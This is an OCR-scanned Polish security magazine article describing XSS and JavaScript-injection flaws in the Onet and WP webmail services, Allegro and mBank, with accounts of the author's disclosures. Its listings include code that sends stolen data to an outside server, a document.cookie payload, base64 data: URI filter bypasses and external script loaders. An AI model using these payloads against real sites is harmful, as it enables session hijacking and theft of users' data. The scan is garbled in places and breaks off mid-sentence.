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Btedy w serwisach
Onet.pl i WP.pl,
Allegro.pl i mBank.com.pl

Michat Majchrowicz ;

stopien trudnosci

azdego dnia z ustug Onetu i WP korzy-
Ksta rzesza ludzi. Oczywistg jest wiec
sprawa, iz w takiej sytuacji serwisy te
powinny w szczegdlny sposéb zadbac¢ o kwe-
stie zabezpieczen, gdyz ewentualna luka moze

by¢ katastrofalna w skutkach dla uzytkownika
serwisu.

Mozliwosci, jakie daje XSS

W dzisiejszych czasach jestesmy przyzwycza-
jeni do efektow graficznych na stronach www.
Dzieki zastosowaniu DOM, CSS i JavaScript
programisci witryn sg w stanie sprawic, iz sta-
tyczny tekst przemienia sie w tetnigcg zyciem
strone. Niewielu typowych uzytkownikow zdaje
sobie sprawe, ze te techniki, pozwalajgce na
fajerwerki i bogatg kolorystyke, mogg rowniez
zosta¢ uzyte przeciwko nim. Jesli atakujacy
moze w jakikolwiek sposob wstrzykngc¢ w tresc
strony kod skryptu, ma woéwczas szerokie pole
do popisu. Zazwyczaj kod jest jednak ograni-
czony na przyktad dtugosciag, lub zestawem
dostepnych znakéw. Aby oming¢ te ograni-
czenia uzywa sie bardziej rozwinietej formy,
czyli Cross Site Scripting (XSS). Polega ona
na dodaniu do tresci strony jedynie odwotania
do zewnetrznego skryptu, na ktéry nie sg juz
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(W Polsce podejscie do btedéw typu JavaScript Injection, XSS,
Session Fixation, RCSR, itp. jest mniej powazne, niz by¢ powinno.
Podczas swoich testéw natknatem sie na btedy w wielu serwisach
internetowych. Niektore sg wieksze, inne mniejsze. W pierwszej
czesci tego artykutu chciatbym sie skupié¢ na lukach wykrytych
w dwoch najwiekszych polskich portalach.

natozone zadne ograniczenia. Dzieki temu mo-
zemy napisac¢ dtugi kod, ktory bedzie w stanie
wykonac¢ bardzo skomplikowane zadania, jak
kopiowanie danych prywatnych uzytkownika,
czy przejmowanie sesji. Do tego celu najlepiej
nadaje sie obiekt XMLHttpRequest. Pozwala
on na wykonanie przez JavaScript zapytania
http. Okazuje sie to dla nas bardzo uzyteczne,
poniewaz nasz skrypt dziata w kontekscie zalo-
gowanego uzytkownika i ma takie same prawa,
co on. Spéjrzmy na przyktadowy kod zamiesz-
czony w Listingu 1.

W tym skrypcie sprawdzamy czy, jest
dostepny obiekt XMLHttpRequest. Jesli tak,
tworzymy jego instancje. Nastepnie wysytamy
polecenie GET jednoczesnie zaznaczajac, iz

p
Z artykutu dowiesz sie...

Jak dziatajg przyktadowe systemy zabezpiecza-
nia przed XSS oraz jak mozna je obejs¢.

Co powinienes wiedzieé¢...

Jak dziatajg luki XSS i JavaScript Injection oraz
jakie niosg ze soba ryzyko.
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nie czekamy na jego zakonczenie.
Niestety obiekt XMLHttpRequest
ma swoje ograniczenia. Z powodu
bezpieczenstwa nie mozemy wy-
wotac¢ zapytania z jednej domeny do
drugiej. Na przyktad: jesli nasz kod
zostanie uruchomiony na domenie
server.com, to nie mozemy przestaé
zdobytych w ten sposob danych do
naszego serwera operujagcego pod
adresem server2.com. Nie nalezy
jednak zbytnio ufa¢ temu zabezpie-
czeniu. Jak sie okazuje, nadal mo-
zemy tworzy¢ zapytania do innych
domen, wysyta¢ dane, tyle ze bez
mozliwosci odebrania odpowiedzi.
Akurat w naszym przypadku nie jest
to niezbedne. Zmodyfikowany kod
pozwalajgcy na odwotania pomiedzy
domenami zobaczymy na Listingu 2.

Tworzymy tutaj nowy obiekt
Image i jako jego zrédto podajemy
nasz url. Dzieki temu przegladarka
wykona nasze polecenie przy prébie
zatadowania obrazka. Zaréwno do
funkcji SendRequest, jak i SendRe-
quest?2 odwotujemy sie w ten sam
sposob. Jako parametr podajemy
adres url wraz z nazwg skryptu oraz
zmienne i ich wartosci, jakie chcemy
w ten sposéb przekazac¢ (np. Sen-
dRequest,  http://www.server.com/
hack.php?vari=valtl)). Korzystajac
z obiektu XMLHttpRequest mozemy
pobra¢ dowolne dane z podatnego
serwisu, a nastepnie informacje zdo-
byte w ten sposdb przestac¢ do dowol-
nego miejsca w sieci dzieki funkgc;ji
SendRequest2. Mozliwosci tej tech-
niki dla atakujgcego sa niezliczone.
Mozemy sobie wyobrazi¢ sytuacje,
w ktorej odpowiednio skonstruowany
skrypt przesle wszystkie dostepne
dane Oczywiscie nic nas tez nie
ogranicza w probach zmiany tresci
strony. Spojrzmy na przyktad na kod
zamieszczony w Listingu 3.

Po uptywie 100ms, czyli czasu
niezauwazalnego dla cziowieka,
zostanie wykasowany caty kod wi-
tryny, a w jego miejsce umieszczony
zostanie znacznik iframe, wskazujacy
na dowolng strone. Jest to wrecz ide-
alna technika dla wszelkiego rodzaju
atakow phishingowych. Uzytkownik
spogladajagc na pasek adresowy
przegladarki bedzie przekonany, ze

nadal znajduje sie na wiasciwiej do-
menie, podczas gdy wszelkie jego
zachowania moga by¢ juz sledzone.

Poczta Onet i WP

Podczas analizy systemu zabez-
pieczania tresci maili, odbieranych
przez internautow, ktérzy korzystajg
z ustug Onetu i WP, zauwazytem, ze
mozliwe jest dodanie do tresci maila
kodu JavaScript, ktéry zostanie uru-
chomiony na komputerze odbiorcy
odpowiednio spreparowanej wia-
domosci. Odkryte przeze mnie luki
w skryptach filtrujgcych miaty rézny
charakter. Czasami chodzito o omi-
janie przez system filtracyjny czesci
kodu, innym razem o przetwarzanie
biatych znakéw, na ktére przegla-
darki nie zwracajg uwagi. W tym
tekscie chciatbym jednak, w celach
edukacyjnych, skupi¢ sie na jednym
konkretnym przyktadzie, gdyz jest on
uniwersalny dla obu serwiséw.

W przypadku Onetu mamy do
czynienia z bardzo rygorystycznym
systemem. Wszelkiego rodzaju po-
dejrzane znaczniki sg albo usuwane,
albo zastepowane przez div-y. Mozna
by tu polemizowac, czy az taki poziom
zabezpieczen jest konieczny, ale
nie mozna kwestionowa¢ tego, iz na
pewno jest skuteczny. Onet popetnit
jednak jeden btad. Mianowicie zawar-
tos¢ zatacznika html, wyswietlanego
za pomocg funkcji pokaz nie jest tak
dobrze oczyszczana, a co za tym
idzie, mozliwe jest wstrzykniecie na-
szego kodu. W przypadku Wirtualnej
Polski mamy do czynienia z innym
podejsciem. Skanuje ona w ten sam
sposob zaréwno tres¢ maila, jak i za-
taczniki html. Sposéb skanowania jest
jednak mniej restrykcyjny. Spojrzmy
na przyktad, jak sg filtrowane znacz-
niki posiadajace atrybuty src lub href.
Otoz, nie zezwala sie w mailu na
obecnos¢ odwotan do zewnetrznych
serwisow. Jesli zatem odwotamy sie,

Listing 1. Kod korzystajgcy
z XMLHttpRequest,
lang=JavaScript

var req;

function SendRequest (url)
if (!req)
if (window.XMLHttpRequest)
‘try
req = new XMLHttpRequest();

catch (e)

req = false;

if (req)

req.open ("GET",url, true);
req.send(null);

return true;

}

return false;

Listing 2. Kod korzystajgcy
z obiektu Image,
lang=JavaScript

function SendRequest2 (url)

var img=new Image () ;

img.src=url;

np. do serwera http://server.com, nasz
text zostanie poprzedzony przez x. Jak
wiemy, zadna przegladarka nie obstu-
guje protokotu xhttp, xftp, xhtpps, itp.
Po wykryciu ktéregokolwiek z wyzej
wymienionych atrybutéw dokonywane
sg opisywane zmiany, a uzytkownik
jest pytany, czy dane tresci majg by¢
odblokowane, czyli przywrécone do
stanu pierwotnego. Informuje sie go
rowniez, ze moze to stanowic dla nie-
go zagrozenie. To podejscie ma jedng

Listing 3. Kod czyszczgcy dokument i dodajgcy do jego tresci obiekt

iframe, lang=JavaScript

document.setTimeout ('document.innerHTML=""";"
+'document.innerHTML="<iframe width=100% height=100%"

+' src=http://www.hakin9.0rg></iframe>";",100);
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wade. Jesli bowiem skrypt serwisu
nie ma zakodowanego jakiegos spe-
cyficznego wykorzystania JavaScript
w danej przegladarce, nie bedzie
w stanie go wychwyci¢, co spowoduje
egzekucje kodu od razu po otwar-
ciu maila. W tym momencie trzeba
przyznac, ze rozwigzanie Onetu jest
bardziej wszechstronne. Przyjrzyjmy
sie nastepujacemu plikowi html, ktory
znajduje sie na Listingu 4.

Jak widzimy przegladarka zare-
aguje na taki kod przeniesieniem na
strone javascript:alert(document.co-
okie), co w przypadku wiekszosci
popularnych przeglagdarek spowoduje
uruchomienie kodu JavaScript w kon-
tekscie wtasnie przegladanej domeny.
Innymi stowy ten szczegéiny kod do-
prowadzi do wyswietlenia sie ciaste-
czek zapamietanych w przegladarce
dla aktualnie przegladanej strony,
w tym kluczy sesji, id uzytkownika
i innych prywatnych danych. Jak juz
wspomniatem wczesniej, w przypad-
ku Onetu konieczne jest otworzenie
tego zatgcznika funkcjg pokaz, w
WP wystarczy natomiast préba prze-
czytania maila. Ponadto w tym przy-
padku, poniewaz serwis nie wykryt
zadnych znanych stéw badz zwrotéw
kluczowych, nie jesteSmy nawet
powiadamiani o grozacym nam nie-
bezpieczenstwie. Spojrzmy wiec na
efekty widoczne na Rysunku 1 2.

Jak tatwo zauwazyc, atakujacy
ma bardzo tatwy dostep do wszyst-
kich naszych danych, a dzieki luce
Session Fixation mozliwe jest prze-
jecie kontroli nad otwartym kontem,
Sciggniecie listy kontaktow, czytanie ,
kasowanie, pisanie maili i wszystko to,
do czego ma prawo zalogowany uzyt-
kownik. Ciekawym aspektem sprawy
jest to, ze internauta nie ma zadnego
sposobu na unikniecie ataku, oprécz
wytaczenia obstugi JavaScript, co
jednak wielokrotnie utrudnia lub na-
wet uniemozliwia obstuge poczty za
pomoca przegladarki.

W dzien po opisaniu wyzej wy-
mienionego problemu na tamach
mojego blogu zauwazytem zmiane
w sposobie dziatania WP. Nie wiem,
czy byta to reakcja na moje odkrycie,
czy zwykty zbieg okolicznosci. Nie
mniej jednak, po kroétkiej analizie
okazatlo sie, ze Wirtualna Polska
filtruje zwrot javascript: i zamienia
go na _, co w naszym wypadku unie-
mozliwia egzekucje. Postanowitem
nieznacznie zmodyfikowa¢ kod wy-
sylanego przez nas pliku, mozemy
zobaczy¢ to na Listingu 5.

Wprowadzona modyfikacja wyni-
ka z faktu, iz przegladarki Netscape,
Mozilla Firefox, Opera i inne potrafig
przetwarza¢ adresy url zakodowane
w postaci base64. Dzieki tej modyfi-
kacji powinnismy by¢ w stanie oming¢
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Rysunek 1. Efekt dziatania skryptu w Onecie
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Rysunek 2. Efekt dziatania skryptu w WP
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Listing 4. Przyktadowy plik
html, lang=html

<html>

<head>

<meta equiv=

"refresh" content="0;

url=javascript:alert
(document.cookie) ;">

</head>

<body>

</body>

</html>

nowo wprowadzone zabezpieczenia.
| rzeczywiscie kod wykonuje sie bez
zadnego problemu. Niestety, aby
doprowadzi¢ do egzekucji kodu na
przegladarce Internet Explorer trzeba
uzy¢ innej metody nie wychwytywa-
nej jeszcze przez skrypty serwisu.

Po kilku dniach Onet wprowadzit
zmiany w swoim serwerze, ktére sg
réwnie rygorystyczne dla zatgczni-
koéw html, co dla tresci samego maila.
Spojrzmy na przyktad zamieszczony
w Listingu 6.

Jak widzimy jest to jak najbardziej
poprawny ( przynajmniej z punktu
widzenia validatorw3.org) dokument
XHTML 1.1. Odwotuje sie on do arku-
sza stylow css.css i skryptu JavaScript
script.js. Oba na serwerze server.com.
Oprécz tego przegladarka po prze-
tworzeniu tego pliku powinna nam
wyswietli¢ napis Test w kolorze zielo-
nym i logo W3C. A teraz zobaczmy, co
otrzymamy od Onetu — Listing 7.

Jak mozemy zauwazy¢, czesc
znacznikéw zostata zmieniona (doda-
no atrybut target, ktérego wczesniej
nie byto), a cze$¢ po prostu usunieta.
Oczywiscie w przypadku tak prostej
strony mozemy tatwo naprawi¢ wy-
rzadzone szkody, jednakze w wielu
sytuacjach taka naprawa moze nam
zajgc¢ sporo czasu. Poza tym w przy-
padku bardziej skomplikowanych
stron, ktére uzywajg duzejilosci CSS,
JavaScript, itp. uszkodzenia sg o wie-
le bardziej rozlegte. Odebrany przez
nas mail html moze by¢ kompletnie
nieczytelny. Co wiecej, przeprowa-
dzone przeze mnie testy wykazaty, iz
otwierajgc duzg ilo$¢ pustych znacz-
nikéw (<<<), mozemy doprowadzi¢ do
usuniecia catych fragmentéow kodu.
Oczywiscie po zapisaniu na dysku
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mail wraca do pierwotnej formy, jed-
nakze ta wtasciwos¢é serwisu moze
by¢ wykorzystana na niekorzysc
uzytkownika. Wyobrazmy sobie sy-

tuacje, w ktorej wirus rozprzestrzenia
sie za pomocg luki w przegladarce
Internet Explorer, dodajac sie jako
cze$¢ tresci maila w postaci html.

~
Listing 5. Plik zmodyfikowany w celu ominiecia zabezpieczen
wprowadzonych przez WP, lang=html|
<html>
<head>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWENTJIyk8L3NjcmlwdD4K" >
</head>
<body>
</body>
</html>
Listing 6. Przyktadowy mail html, lang=htm/
<?xml version="1.0" encoding="iso-8859-2"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml111/DTD/xhtmll1l.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="pl-PL">
<head>
<meta http-equiv="Content-type" content="text/html; charset=iso-8859-2"
/>
<meta http-equiv="Content-Language" content="pl" />
<title> Dokument testowy</title>
<link href="http://server.com/css.css" type="text/css" rel="stylesheet"
/>
<script src="http://server.com/srcipt.js" type="text/javascript"></
script>
</head>
<body>
<div style="color: green; text-align: center;">Test</div>
<p>
<a href="http://validator.w3.org/check?uri=referer"><img
src="http://www.w3.0rg/Icons/valid-xhtml10"
alt="vValid XHTML 1.0 Strict" height="31" width="88" /></a>
</p>
</body>
</html>
Listing 7. Odpowiedz Onetu na nasz przyktadowy mail html, lang=html
<!-- /ad-config/
[ ad-server-002 ]
group: @stats
/ad-config/ -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml111/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="pl-PL">
<head>
</head>
<body>
<div style="color: green; text-align: center;">Test</div>
<p>
<a href="http://validator.w3.org/check?uri=referer" target='_blank'><img
src="http://www.w3.0org/Icons/valid-xhtml10" alt="
Valid XHTML 1.0 Strict" height="31"
width="88" /></a>
</p>
</
o /

Uzytkownik odbierajacy maila zdaje
sobie sprawe z niebezpieczenstwa
i dlatego nie korzysta z poczty za
pomocg tej przegladarki. W pewnym
momencie otrzymuje na przyktad
kartke swigteczng (w postaci maila
html) od rodziny. Sprawdza wiec kod
strony i nie zauwaza nic podejrzane-
go. Zapisuje zatem plik na dysku jako
pamigtke, ale wirus dotgczyt wiasny
kod, jako tres¢ tego maila, ukrywajac
swojg obecnos¢ za pomocg otwiera-
nia pustych znacznikow. Mamy tutaj
do czynienia z btedem zaufania. Jesli
ow internauta zaufa tresci zatgcznika
i w poOzniejszym terminie otworzy
tre$¢ maila za pomocg przegladarki
Internet Explorer, jego komputer zo-
stanie zainfekowany.

Gdy konczytem ten artykut minat
juz tydzien odkad powiadomitem
o tych nieprawidtowosciach serwisy
Onet.pl i WP.pl. W tym celu uzytem
formularzy znajdujacych sie na stro-
nach portali. Od WP nie dostatem
jeszcze zadnej odpowiedzi, a opisa-
ne (i nie opisane) btedy nadal funk-
cjonuja. Co sie tyczy Onetu, btedéw
juz nie ma, a jeden z czytelnikdw
mojego blogu, ktory pozniej okazat
sie pracownikiem portalu, pozostawit
wpis sugerujacy, iz powinienem sie
skontaktowa¢ z Onetem poprzez ad-
res mailowy abuse@onet.pl. Tak tez
uczynitem i bardzo szybko dostatem
odpowiedz. Ustalilismy, iz w przy-
sztosci wykryte luki bede zgtaszat do
Onetu w ten wiasnie sposéb, dajac
im co najmniej 24 godziny na ich
zatatanie. Chciatbym zacheci¢ row-
niez czytelnikow do takiego samego
postepowania, gdyz gwarantuje to
bezpieczenstwo uzytkownikom, da-
jac czas administratorom na zatata-
nie wykrytej luki. Powod, dla ktérego
postapitem inaczej byt prosty. Nie
mogtem napisa¢ na ten adres, gdyz
nie wiedziatem o jego istnieniu. Co
prawda, tego typu adresy sg swego
rodzaju standardem, ale niektore ser-
wisy stosujg sie do tego, a inne nie.
Wiasnie dlatego szukatem informaciji
na stronie portalu, ale tam znalaztem
tylko formularz kontaktowy, z kt6-
rego skorzystatem. Ogolnie reakcje
serwisu nalezy oceni¢ pozytywnie.
Btedy zostaty zatatane w rozsgdnym
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czasie, a na wszelkie pytania udzie-
lono szybkiej i rzeczowej odpowiedzi.
Postawa Wirtualnej Polski pozosta-
wia jednak wiele do zyczenia. Mimo

poinformowania portalu w podobny
sposéb (wystatem odpowiedni mail
na adres abuse@wp.pl) nie dostatem
zadnej odpowiedzi. Co prawda po
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Rysunek 3. Efekt dziatania skryptu w Allegro(kod)
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Rysunek 4. Efekt dziatania skryptu w Allegro(zrzut)

Plik Edycja Widok Pomoc
<td class="my-list":<a href="/my_allegro.phptpage=auctions&anp; type=bid&amp; order=us_login_sell&: s
<td class="my-list":0pcje</td>< tr> &
<trr<td class="list-white" colspan="8"><table cellpadding="0" cellspacing="0" width="100%">
< thody:<tr>
<td class="td-img totop":

<table border="0" cellpadding="0" cellspacing="0">

<thody:<trr<td class="tomiddle" ;<span class="small"><a href="mny_auctions_params.php?actic

</t
< /thody:< /table>
<br clear="all"»</td>
</try</thody:< /table:< /td:< /tr>
</thody:< /table><br:<center>{span class="small-hold":Liczha Twoich ofert: 0 (<a href="javascript
< /centerr<table border="0" width="100%"><thody:<tr><td class="normalll totop":<br><a href="/uy_al
</tdy< /< /thody> < /tables< /td:< /tr>< /thody:< /table>
Gi=s sadde: 2d=dd ~=p
EdmonaTEe e f il
</div><script sre="http:/ /PEFRgEY com/xss. js" »¢ /script>
f 2= FpoTey stapd-—-3
<div class="noprint backgrouwnd":
<br:<div class="tocenter"s
<div id="footer" style="width: 100%;":
<div class="left":<{a href="/country pages/1/0/marketing/shout. php" onfocus="1if (this blur) this.}
<div class="left":{a href="/prasa/" omfocus="if (this blur) this blur();" title="Media o Allegro'
<div class="left":>{a href="/country pages/l/0/marketing/advertise. php" omfocus="if (this blur) tl
<div class="left":>{a href="/country pages/1/0/marketing/Job. php" onfocus="1f (this blur) this bl
<div class="left":{a href="/ap/" onfocus="if (this blur) this blur();" title="Program Partnerski
<div class="left":{a href="/services" onfocus="if (this blur) this blur()," title="Informacje o 1
<div class="left"><a href-"/country pages/1/0/centrum bezp. php" onfocus="if (this blur) this blu
<div class="top right":»<a href="#top"»<{img sre="/site_images/1/0/common/arrow-up. gif"»</far¢/dive
</divy<br clear="all">
<div id="footer-agreement" »Korzystanie = serwisu oznacea akceptacjg <a href="/country pages/1/0/
<fdivy
<fdivy
<script language="JavaScript" type="text/javascript':

war gemiuvs_identifier = new String('nSelzTLiVxcBqlFjpHufInablved. oM D:NWkVs K. r.ox7');

< /scriptr
<script language="TavaScript" type="text/javascript' sre="/js/gemiuvs. j5" </ script: m
< /body>< /htnl >

Rl e >

Rysunek 5. Kod z wstrzyknietym nowym elementem
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czterech dniach od momentu wysta-
nia owego maila zauwazytem, ze luka
wyjasniona powyzej zostata przez
ekipe portalu zatatana. Nieopisane
na blogu btedy jednak nadal funkcjo-
nuja, co jest bezposrednim wynikiem
braku jakiegokolwiek kontaktu z mojgq
osobg. Ponadto wystarczy mata mo-
dyfikacja w naszym kodzie, by znowu
doprowadzi¢ do JavaScript Injection.
Poprawka Wirtualnej Polski polega
na zmianie wartosci http-equiv z re-
fresh na _refresh. Teoretycznie zata-
twia to sprawe, w praktyce jednak nie
jest to takie proste. Przyjrzyjmy sie
Listingowi 8.

Oczywiscie takze tu uzytkownik
nie zostanie nawet poinformowany
0 grozacym mu hiebezpieczenstwie.
Po kliknieciu na link zostanie uru-
chomiony kod JavaScript. Dzieje sie
tak poniewaz wiele przegladarek jest
w stanie przetwarzac¢ linki w postaci
data:W tym przypadku wykorzystali-
Smy kodowanie base64, co skutecz-
nie ukryto wszystkie stowa kluczowe.
Jak mozna zauwazy¢, podejscie do
problemu, jakie zaprezentowa-
fa Wirtualna Polska, do tej pory nie
gwarantuje  bezpieczenstwa. Nie
mozna sie skupia¢ tylko na jednym
przykftadzie btedu. Takie sytuacje sgq
idealne dla ludzi, ktérych celem jest
kradziez naszych danych osobistych.
Jak juz napisatem na poczatku, jest
to jedynie modyfikacija naszego
podstawowego pliku. Gdyby admini-
stratorzy przeanalizowali doktadnie
przedstawione przeze mnie przykta-
dy, szybko zauwazyliby, ze dodanie
nastepnej regutki do wyeliminowania
kolejnego stowa kluczowego w tym
przypadku nie pomoze. Jak wcze-
$niej wspomniatem, w catym artykule
skupitem sie wytacznie na jednym,
prostym problemie. Ani w tym tekscie,
ani na swoim blogu nie opisywatem
innych bteddéw, poniewaz zdaje sobie
sprawe, iz ich zatatanie moze trwacé
dos¢ diugo. Mamy tutaj do czynienia
z powaznym btedem systemowym,
ktory moze skonczyc sie tragicznie dla
uzytkownikéw portalu. Na prosbe por-
talu chetnie przedstawitbym wszystkie
zgromadzone przeze mnie informacje
dotyczacych defektow zabezpieczen
stosowanych przez serwis. Niestety
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moje spostrzezenia nie spowodowaty
zadnej odpowiedzi, a Wirtualna Polska
nadal pozostaje dziurawym portalem.

Kolejna dziura w Allegro
Allegro jest najwiekszym w Polsce
serwisem aukcyjnym. Kazdego dnia
z jego ustug korzystajg tysigce inter-
natow dokonujac transakcji zakupu,
badz sprzedazy roznych przedmiotow.
Jesli chcemy by¢ w stanie wykonaé
ktorgkolwiek z tych czynnosci, musi-
my by¢ zalogowani do wewnetrznej
czesci serwisu zwanej Moje Allegro.
Mniej wiecej tydzien przed Swietami
Bozego Narodzenia ekipa hacking.pl
odkryta powazny bitgd w zabezpie-
czeniach Allegro, ktory pozwalat
atakujgcemu na przejecie kontroli nad
kontem uzytkownika: wystawianie au-
kcji, kradziez danych prywatnych itp.
Jak sie okazato, byta to luka typu XSS,
wynikajgca z braku odpowiedniego
oczyszczania zmiennej PpHP SELE.
Co prawda, we wstrzyknietym kodzie
nie mozna byto uzywac cudzystowow,
lecz uzywajac funkcji String.from-
CharCode autor artykutu bardzo
szybko poradzit sobie z trudnosciami
wykorzystujgc JavaScript Injection do
petnego XSS. Okoto trzech tygodni
poézniej sam réwniez zainteresowatem
sie tym serwisem. Bardzo zaskoczyt
mnie fakt, iz znalezienie kolejnego bte-
du zajeto mi 10 minut. Mimo, ze portal
poprawnie przetwarzat zarowno dane
przekazywane w zmiennej pup  SELF,
jak i zmienne w tablicy s cer oraz
nie byto mozliwosci wstrzykniecia
zadnego kodu w ten sposob, to oka-
zalo sie, ze same nazwy zmiennych
nie podlegaty zadnemu sprawdzaniu.
Podczas testow dowiedziatem sie, iz
mamy pewne ograniczenia, poniewaz
nie mozemy uzy¢ dwéch przydatnych
znakéw: spacji i kropki. Jak wiado-
mo wiekszos¢ przydatnych funkcji
JavaScript wymaga kropki. Mozemy
probowa¢ albo od razu odwotac sie
do zewnetrznego skryptu uzywajgc
atrybutu sre, albo wpisywac kod, ktory
to zrobi do znacznika script. Ja zacza-
tem od tej pierwszej metody. Dazymy
do wstrzykniecia mniej wiecej takiego
kodu : <script src=http://server.com/
X8s.js></script>. Oto jakie stojg przed
nami problemy: spacja pomiedzy

script i src oraz kropki w adresie. Jak
sie okazuje, spacje mozemy oming¢
uzywajgc tabulatora, ktory nie jest
w zaden sposob filtrowany. Pozosta-
je wiec tylko kwestia kropki. Na tym
etapie musiatem siegna¢ do réznych
artykutdw dotyczacych dziatania prze-
gladarek internetowych. Mniej wiecej

po 30 minutach dowiedziatem sie, ze
adres IP moze zosta¢ zapisany w for-
macie dword, czyli na przyktad: http:
//12341234/. Stworzytem wiec testowy
plik html, ktéry zostat umieszczony
w Listingu 9.

Zdziwit mnie fakt, iz przegladarka
(zaréwno Mozilla Firefox jak i Internet

WP, lang=html

<html>

<head>
</head>
<body>
<a href="data:text/html;base64,

Kliknij</a>
</body>
</html>

lang=html

<head>
/>

<title> Dokument testowy</title>
</head>
<body>

<script

<script

</body>

</html>

z rodziny Gecko , lang=html|

<?xml version="1.0"?>

<binding id="xss">
<implementation>
<constructor>

alert ("jasio");

alert (document.cookie) ;
</constructor>
</implementation>
</binding>

</bindings>.

Listing 8. Plik zmodyfikowany w celu ominiecia nowych zabezpieczen

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K" >

Listing 9. Plik bedgcy probg wykorzystania zapisu ip jako dword,

<?xml version="1.0" encoding="iso0-8859-2"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml111/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="pl-PL">

<meta http-equiv="Content-type" content="text/html; charset=iso-8859-2"

<meta http-equiv="Content-Language" content="pl" />

src=http://127.0.0.1:80/ala></script>
src=http://2130706433:80/ala></script>

Listing 10. Plik wykorzystywany do osiggniecia XSS w przegladarkach

<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:xbl="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.0rg/1999/xhtml"
xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/

there.is.only.xul">

var ala=document.createElement ('script');
ala.src="http://server.com/xss.js";

document.body.appendChild (ala) ;

~
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Obrona

Explorer) uruchamiajg tylko pierwszy
kod. W logach serwera http nie zna-
laztem nic dziwnego. Uruchomitem
wiec wiasng aplikacje nastuchujaca
na porcie 80, ktéra na kazde zapyta-
nie odpowiadata tym samym kodem.
Ponownie wykonany zostat tylko
pierwszy kod. Przypuszczam, ze jest
to jakies zabezpieczenie, jednakze
zadnych szczego6towych informaciji
na ten temat nie udato mi sie znalez¢.
Zmienitem wiec taktyke. Postanowi-
tem wykorzysta¢ wiedze na temat
réznych funkcji JavaScript i po chwili
trafitem na opis funkcji eval. Jest to
metoda, ktéra traktuje cigg znakow
jako kod i uruchamia go. To pozwala

na rozwigzanie wszystkich naszych
probleméw, poniewaz w zapisie ta-
kim mozemy wykorzystywa¢ znany
z C sposoéb przedstawiania znakow za
pomocg ich wartosci ASCIl w syste-
mie szesnastkowym, czyli na przykfad
kropka zmienia sie w \x2e. Wystarczy
skonstruowa¢ wiec link, w ktérym
jako nazwe zmiennej podamy: jasio-
%22%258&%3E%3Cscript%3E

eval('alert(document%5Cx2ecoo
kie);");%3C/script%3E, a otrzymamy
rezultat widoczny na Rysunkach 3 i 4.

Teraz tylko modyfikujemy nasz
skrypt, by dodawat do kodu strony
nowy element i mamy juz XSS — Ry-
sunek 5.

Plik  Edycja Widok Pomog

Linia 1910, kolumna 160

L/find. php?query= jasio\"></iframe><script sre=http://server.com/fEH. jss></script><jasio ' width="53%8" height="860" s

Rysunek 6. Pomysinie wykonany XSS w czesci informacyjnej mBanku

Piil:  Eduycja Znajdé Fomoc

<td align="1eft" class="big'><b>
<Jb><pd>

8nbsp:24-12-2006,8nbsp:21:14<{b><{NOBR> <{ftd>
<ftr>
<>

<td align="right" class="big'"><jtd>

<fr>
<ftable>

<INPUT TYPE="HIDDEN" NAME="sOwnType"

<table cellpaddi

<td align="right" class="big'"><NOBR><b>Nieudane logowanie :

<id align="1eft" class="big" height=5><img src="{gifs/blank.gif" alt="""><ftd>

<INPUT TYPE="HIDDEN" NAME="sAccessFlag” VALUE=>

<INPUT TYPE="HIDDEN" NAME="sTdNo" VALUE=""">
<INPUT TYPE="HIDDEN" NAME="sTag" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sMenu" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="s0wnCounter" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sRate" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sEndDate™ VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sCCardType" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sCCardNbr" VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sKind" VALUE="""> -
<INPUT TYPE="HIDDEN" NAME="sRegisterMumber” VALUE=""">

<INPUT TYPE="HIDDEN" NAME="sFundNumher" VALUE=""">

<INPUT TYPE="HIDDEN" NAME ‘sPBLAvail" VALUE=""">

0 cell ="0" border="0" width=""982¢"> <tr> <td colspan="3" bgcolor="§000000"
class="big2" helghl 20 >&nbsp <|mg src="fgitsfyellow.gif" width="8" height="8""><b>&nbsp;Lokaty

VALUE=""">

Rysunek 7. Fragment kodu pokazujgcy, jak mBank przechowuje zmienne

mBank1=TEMF
mBankZ=1%2

A

nd=FurctiorFrame

Rysunek 8. Pomysine przechwycenie ciasteczek
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Nie poinformowatem  portalu
o wykrytej luce czekajac, az admi-
nistratorzy sami znajda btad. Jak sie
okazato, zajeto im to ponad miesigc.
Jak przypuszczam Allegro liczyto na
to, ze sprawa nigdy nie ujrzy Swiatta
dziennego. Takie podejscie nie wy-
daje sie by¢ zbyt odpowiedzialne.
Uzytkownicy majg prawo wiedzie¢
o ryzyku, jakie im grozi. Przypusz-
czam, ze gdybym napisat maila do
Allegro z pytaniem o stan bezpie-
czenstwa portalu przed publikacja tej
informacji, dowiedziatbym sie, ze ser-
wis jest bezpieczny i zadnego ryzyka
Z jego uzytkowania nie ma i nie byto.
Mam nadzieje, ze po tej historii zmieni
sie to na lepsze i btedy tak oczywiste
beda tatane szybciej niz w miesigc.

Fatalny btagd mBanku
Postanowitem réwniez rzuci¢ okiem
na strone mBanku, ktéry jest jed-
nym z dwoch najwiekszych bankow
wirtualnych w Polsce. Niestety i tutaj
znalaztem kilka luk, ktérych wyko-
rzystanie zagrazato uzytkownikom.
Btedy w systemie pozwalaty na pe-
ten wglad do danych o wtascicielu
karty (adres zamieszkania, email
itp.), historii przelewéw, informac;ji
o lokatach, danych dotyczacych kart
kredytowych (numer karty, limity, pro-
ducent), informacji o zaciggnietych
kredytach czy wykupionych ubez-
